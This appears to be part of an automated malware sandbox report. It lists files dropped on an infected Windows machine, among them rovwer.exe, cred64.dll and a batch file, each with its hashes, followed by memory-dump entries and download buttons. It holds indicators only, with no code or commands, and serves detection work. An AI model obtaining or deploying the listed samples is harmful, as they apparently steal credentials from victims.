SSDEEP 6144:6pbLTc2R7qNzN+ZHw4AZFFnFUMAjdkUQHTSRIYo3TfOWqg:6pbHcImNzV5+MCd9IYo3TS
MD5 SHA1 SHA512 SSDEEP

Submit Download

D3FE.exe

Path C:\Users\Admin\AppData\Local\Temp\D3FE.exe
Size 423KB
SHA256 73c25d7f17e31311b538cf935f2537c364b9f59195ba3f649f2cc92355995c02
MD5 8473ad65e5580831f2b5bbc525df5997
SHA1 9e24ee00192421942066331fd95237533fc92606
SHA512 ed770b885df72af54adcbbc2e3453214b7d9b378edbd1e80f3771f17c5e7f35a0e780cb7ff277240a4e59a2aba38a087e975b846b05303d404e54182e2cd389b
SSDEEP 6144:6pbLTc2R7qNzN+ZHw4AZFFnFUMAjdkUQHTSRIYo3TfOWqg:6pbHcImNzV5+MCd9IYo3TS
MD5 SHA1 SHA512 SSDEEP

Submit Download

DD46.exe

Path C:\Users\Admin\AppData\Local\Temp\DD46.exe
Size 257KB
SHA256 26204ca6dd796db6798008b9fb76c2f952cb377bd16cce8ed3f213f3e8c8ed83
MD5 7b1e4d6de30222deb80b3c3a6973f46e
SHA1 4d1618da48e9ebe108914c1907a723896236f9f7
SHA512 195a4723eaf5b58579e9a9d06bf662b89406ddaacf1e3a77896c1fb3862ec34d600772df8993ad1df90255bd1259c17bdf1b58b4dd39bf9cc658f8f07abf8864
SSDEEP 6144:/UTIt3vbSenezxXnyYfqadgbxJetFZX6kx/bl:/UTIt3vbSnyYfqaOFmFZqijl
MD5 SHA1 SHA512 SSDEEP

Submit Download

DD46.exe

Path C:\Users\Admin\AppData\Local\Temp\DD46.exe
Size 257KB
SHA256 26204ca6dd796db6798008b9fb76c2f952cb377bd16cce8ed3f213f3e8c8ed83
MD5 7b1e4d6de30222deb80b3c3a6973f46e
SHA1 4d1618da48e9ebe108914c1907a723896236f9f7
SHA512 195a4723eaf5b58579e9a9d06bf662b89406ddaacf1e3a77896c1fb3862ec34d600772df8993ad1df90255bd1259c17bdf1b58b4dd39bf9cc658f8f07abf8864
SSDEEP 6144:/UTIt3vbSenezxXnyYfqadgbxJetFZX6kx/bl:/UTIt3vbSnyYfqaOFmFZqijl
MD5 SHA1 SHA512 SSDEEP

Submit Download

E016.exe

Path C:\Users\Admin\AppData\Local\Temp\E016.exe
Size 1.1MB
SHA256 44673c9ea35c6aa5fcb5481674afe921ae12a2f8f485d38c0ffc0accb0f406de
MD5 532f80cb0ccfd2fcad21bca6044b2ff7
SHA1 47d26fb23e4192469fff7693922ef239cea1d5cf
SHA512 d4cc16c884f8ce0792e578ac548d2a3f1fc794bfb83276e8329877bb07067997651405625a4a39993848beea8a46308f2ca6f01ca6b3ca41e9b4c87885e7ebb8
SSDEEP 24576:7fIKHfTusRsCLMcIb74jLECoH68mroxghhPrKfCvqr0aZxDR1:c0KcM4ICoH68mrKghhDKfAKlZxD
MD5 SHA1 SHA512 SSDEEP

Submit Download

E016.exe

Path C:\Users\Admin\AppData\Local\Temp\E016.exe
Size 1.1MB
SHA256 44673c9ea35c6aa5fcb5481674afe921ae12a2f8f485d38c0ffc0accb0f406de
MD5 532f80cb0ccfd2fcad21bca6044b2ff7
SHA1 47d26fb23e4192469fff7693922ef239cea1d5cf
SHA512 d4cc16c884f8ce0792e578ac548d2a3f1fc794bfb83276e8329877bb07067997651405625a4a39993848beea8a46308f2ca6f01ca6b3ca41e9b4c87885e7ebb8
SSDEEP 24576:7fIKHfTusRsCLMcIb74jLECoH68mroxghhPrKfCvqr0aZxDR1:c0KcM4ICoH68mrKghhDKfAKlZxD
MD5 SHA1 SHA512 SSDEEP

Submit Download

rovwer.exe

Path C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
Size 324KB
SHA256 0cba131e7ac3a6c1b492782d616c0c66f887281f3b9d8a53f16a5a9adbfd7b1e
MD5 62734131c7ce03e38c053912846e86e9
SHA1 ff690cb224e2297d10e77d327c1c750fe1e78b02
SHA512 805dd75c1492711c23ac5997988b56c5dae70345dd21807aa9b4c6dd0bf67823c4db3be607bdbd4c463f15d30c67a18ce7437ae1df04c838faa37872a16dab75
SSDEEP 3072:lNdnHDMiEj4w18xh45EKu2yZbnoZ00+IlkwWk55xn+nDvRqs9W6AfRLda6ZBzZgC:lfnHEjYLJK7yZ0Zx+Ilkn+5tKMnRpn
MD5 SHA1 SHA512 SSDEEP

Submit Download

rovwer.exe

Path C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
Size 324KB
SHA256 0cba131e7ac3a6c1b492782d616c0c66f887281f3b9d8a53f16a5a9adbfd7b1e
MD5 62734131c7ce03e38c053912846e86e9
SHA1 ff690cb224e2297d10e77d327c1c750fe1e78b02
SHA512 805dd75c1492711c23ac5997988b56c5dae70345dd21807aa9b4c6dd0bf67823c4db3be607bdbd4c463f15d30c67a18ce7437ae1df04c838faa37872a16dab75
SSDEEP 3072:lNdnHDMiEj4w18xh45EKu2yZbnoZ00+IlkwWk55xn+nDvRqs9W6AfRLda6ZBzZgC:lfnHEjYLJK7yZ0Zx+Ilkn+5tKMnRpn
MD5 SHA1 SHA512 SSDEEP

Submit Download

rovwer.exe

Path C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
Size 324KB
SHA256 0cba131e7ac3a6c1b492782d616c0c66f887281f3b9d8a53f16a5a9adbfd7b1e
MD5 62734131c7ce03e38c053912846e86e9
SHA1 ff690cb224e2297d10e77d327c1c750fe1e78b02
SHA512 805dd75c1492711c23ac5997988b56c5dae70345dd21807aa9b4c6dd0bf67823c4db3be607bdbd4c463f15d30c67a18ce7437ae1df04c838faa37872a16dab75
SSDEEP 3072:lNdnHDMiEj4w18xh45EKu2yZbnoZ00+IlkwWk55xn+nDvRqs9W6AfRLda6ZBzZgC:lfnHEjYLJK7yZ0Zx+Ilkn+5tKMnRpn
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmpEAD2.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpEAD2.tmp.bat
Size 153B
SHA256 09d0cc2dd7ec75cdb4225682936918f4eba118d2dd75cdaa15e5b471aeb1c40f
MD5 19cfb610b954ada8f16aaedb35b0f084
SHA1 c3cb0ad32bbbbd7e3c4bf6cced0e10e10eead0fa
SHA512 dac820f8bb915a5b5fd295b1a36f3a4678f4c4e17ac36bfacc7a5e8791e6a4d81b36e6f3258d83e8498c3198526239c01724f7be878a269aeacf275a92bd03d8
MD5 SHA1 SHA512

Submit Download

cred64.dll

Path C:\Users\Admin\AppData\Roaming\80b59841e5c623\cred64.dll
Size 126KB
SHA256 351fd9b73fa0cbbdfbce0793ca41544f5191650d79317a34024f3c09f73ac9ba
MD5 522adad0782501491314a78c7f32006b
SHA1 e487edceeef3a41e2a8eea1e684bcbc3b39adb97
SHA512 5f8a103deea3ed5f8641d1f4c91a4f891a8208b679cadbfac4a068afbad0d2f777cd29ace4bdfec590e722435473e4f8465fb80d5cda792dc0236646580101a7
SSDEEP 3072:ox7pOYzBekEmWDWCMq6As523HeS9FAiZ87vO2rlL3Rnu9:ox7ZNhE/dMq6AO0a7vVlT
MD5 SHA1 SHA512 SSDEEP

Submit Download

cred64.dll

Path C:\Users\Admin\AppData\Roaming\80b59841e5c623\cred64.dll
Size 126KB
SHA256 351fd9b73fa0cbbdfbce0793ca41544f5191650d79317a34024f3c09f73ac9ba
MD5 522adad0782501491314a78c7f32006b
SHA1 e487edceeef3a41e2a8eea1e684bcbc3b39adb97
SHA512 5f8a103deea3ed5f8641d1f4c91a4f891a8208b679cadbfac4a068afbad0d2f777cd29ace4bdfec590e722435473e4f8465fb80d5cda792dc0236646580101a7
SSDEEP 3072:ox7pOYzBekEmWDWCMq6As523HeS9FAiZ87vO2rlL3Rnu9:ox7ZNhE/dMq6AO0a7vVlT
MD5 SHA1 SHA512 SSDEEP

Submit Download

CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe

Path C:\Users\Admin\AppData\Roaming\CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe
Size 837KB
SHA256 917f533b13b2bac659f4a16d03ea4e1b30ee535c57c132b4d4f784fbd2c2a482
MD5 b71f097937ef3e6a757cda055babb005
SHA1 3fb167b8608824592d1707614cce46cfc643dd44
SHA512 d0fca6ef77597c68d8bbf671f4929764146be1dbeae2c6f66783be2922df09e9a7b983c603a295c1056b12f6cddf6e22eadea99bfc104266e4dae75b829b43aa
SSDEEP 6144:iS8XRASDmrAnEgmYwkInTTyP760eSvaajEQ3Q8OB6XEaBSuuFJd3Bd6Xxeuu8D3j:4KrAEZk4qPvaQgZL1Aen8TTlF+0q7
MD5 SHA1 SHA512 SSDEEP

Submit Download

CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe

Path C:\Users\Admin\AppData\Roaming\CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe
Size 837KB
SHA256 917f533b13b2bac659f4a16d03ea4e1b30ee535c57c132b4d4f784fbd2c2a482
MD5 b71f097937ef3e6a757cda055babb005
SHA1 3fb167b8608824592d1707614cce46cfc643dd44
SHA512 d0fca6ef77597c68d8bbf671f4929764146be1dbeae2c6f66783be2922df09e9a7b983c603a295c1056b12f6cddf6e22eadea99bfc104266e4dae75b829b43aa
SSDEEP 6144:iS8XRASDmrAnEgmYwkInTTyP760eSvaajEQ3Q8OB6XEaBSuuFJd3Bd6Xxeuu8D3j:4KrAEZk4qPvaQgZL1Aen8TTlF+0q7
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/220-215-0x0000000001080000-0x000000000108F000-memory.dmp

Download

memory/220-213-0x0000000001090000-0x0000000001099000-memory.dmp

Download

memory/220-257-0x0000000001090000-0x0000000001099000-memory.dmp

Download

memory/228-150-0x00000000002A0000-0x00000000003C0000-memory.dmp

Download

memory/228-158-0x00007FF8F2C30000-0x00007FF8F36F1000-memory.dmp

Download

memory/444-169-0x00007FF8F2C30000-0x00007FF8F36F1000-memory.dmp

Download

memory/444-159-0x00007FF8F2C30000-0x00007FF8F36F1000-memory.dmp

Download

memory/444-157-0x0000000000960000-0x0000000000A36000-memory.dmp

Download

memory/1136-135-0x0000000000400000-0x000000000084B000-memory.dmp

Download

memory/1136-134-0x0000000000400000-0x000000000084B000-memory.dmp

Download

memory/1136-133-0x0000000000990000-0x0000000000999000-memory.dmp

Download

memory/1136-132-0x0000000000B1B000-0x0000000000B30000-memory.dmp

Download

memory/1236-230-0x0000000000F40000-0x0000000000F67000-memory.dmp

Download

memory/1236-229-0x0000000000F70000-0x0000000000F92000-memory.dmp

Download

memory/1280-207-0x0000000000B00000-0x0000000000B2A000-memory.dmp

Download

memory/1280-211-0x0000000000B00000-0x0000000000B2A000-memory.dmp

Download

memory/1884-221-0x00000000008F0000-0x000000000092E000-memory.dmp

Download

memory/1884-220-0x00000000009AB000-0x00000000009CA000-memory.dmp

Download

memory/1884-222-0x0000000000400000-0x0000000000855000-memory.dmp

Download

memory/1976-161-0x0000000000400000-0x0000000000428000-memory.dmp

Download

memory/2092-172-0x0000000000A60000-0x0000000000AA5000-memory.dmp

Download

memory/2216-204-0x0000000000FD0000-0x0000000000FDB000-memory.dmp

Download

memory/2216-256-0x0000000000FE0000-0x0000000000FE7000-memory.dmp

Download

memory/2216-212-0x0000000000FE0000-0x0000000000FE7000-memory.dmp

Download

memory/2244-234-0x00007FF8F2B60000-0x00007FF8F3621000-memory.dmp

Download

memory/2244-250-0x00007FF8F2B60000-0x00007FF8F3621000-memory.dmp

Download

memory/2244-176-0x00007FF8F2B60000-0x00007FF8F3621000-memory.dmp

Download

memory/2764-167-0x0000000008480000-0x0000000008512000-memory.dmp

Download

memory/2764-188-0x000000000A650000-0x000000000A66E000-memory.dmp

Download

memory/2764-152-0x0000000008170000-0x00000000081AC000-memory.dmp

Download

memory/2764-146-0x00000000079B0000-0x0000000007FC8000-memory.dmp

Download

memory/2764-202-0x0000000002E39000-0x0000000002E70000-memory.dmp

Download

memory/2764-142-0x0000000007400000-0x00000000079A4000-memory.dmp

Download

memory/2764-153-0x0000000000400000-0x0000000002C58000-memory.dmp

Download

memory/2764-168-0x0000000008520000-0x0000000008586000-memory.dmp

Download

memory/2764-208-0x0000000000400000-0x0000000002C58000-memory.dmp

Download

memory/2764-209-0x0000000002E39000-0x0000000002E70000-memory.dmp

Download

memory/2764-149-0x0000000008040000-0x0000000008052000-memory.dmp

Download

memory/2764-179-0x0000000008E70000-0x0000000009032000-memory.dmp

Download

memory/2764-180-0x0000000009040000-0x000000000956C000-memory.dmp

Download

memory/2764-182-0x0000000009830000-0x00000000098A6000-memory.dmp

Download

memory/2764-143-0x0000000002E39000-0x0000000002E70000-memory.dmp

Download

memory/2764-181-0x00000000097C0000-0x0000000009810000-memory.dmp

Download

memory/2764-144-0x0000000002DB0000-0x0000000002E09000-memory.dmp

Download

memory/2764-151-0x0000000008060000-0x000000000816A000-memory.dmp

Download

memory/2992-241-0x0000000000D80000-0x0000000000D86000-memory.dmp

Download

memory/2992-242-0x0000000000D70000-0x0000000000D7B000-memory.dmp

Download

memory/3236-192-0x0000000000400000-0x0000000000BD0000-memory.dmp

Download

memory/3236-254-0x0000000000400000-0x0000000000BD0000-memory.dmp

Download

memory/3236-186-0x0000000000400000-0x0000000000BD0000-memory.dmp

Download

memory/3236-189-0x0000000000400000-0x0000000000BD0000-memory.dmp

Download

memory/3236-190-0x0000000000400000-0x0000000000BD0000-memory.dmp

Download

memory/3236-191-0x0000000000400000-0x0000000000BD0000-memory.dmp

Download

memory/3388-244-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/3388-251-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/3388-247-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/3388-246-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/3496-258-0x0000000000D80000-0x0000000000D85000-memory.dmp

Download

memory/3496-223-0x0000000000D80000-0x0000000000D85000-memory.dmp

Download

memory/3496-224-0x0000000000D70000-0x0000000000D79000-memory.dmp

Download

memory/4548-227-0x0000000000D80000-0x0000000000D8C000-memory.dmp

Download

memory/4548-226-0x0000000000D90000-0x0000000000D96000-memory.dmp

Download

memory/4624-255-0x0000000000D50000-0x0000000000D58000-memory.dmp

Download

memory/4624-253-0x0000000000D40000-0x0000000000D4B000-memory.dmp

Download

memory/4696-236-0x0000000000180000-0x0000000000185000-memory.dmp

Download

memory/4696-237-0x0000000000170000-0x0000000000179000-memory.dmp

Download

memory/4784-252-0x0000000000480000-0x0000000000487000-memory.dmp

Download

memory/4784-243-0x00000000001F0000-0x00000000001FD000-memory.dmp

Download

memory/4796-239-0x0000000000400000-0x0000000000855000-memory.dmp

Download

memory/4796-235-0x0000000000B0A000-0x0000000000B29000-memory.dmp

Download

memory/4996-232-0x0000000000400000-0x0000000000409000-memory.dmp

Download

memory/4996-214-0x0000000000400000-0x0000000000409000-memory.dmp

Download

memory/4996-203-0x0000000000400000-0x0000000000409000-memory.dmp

Download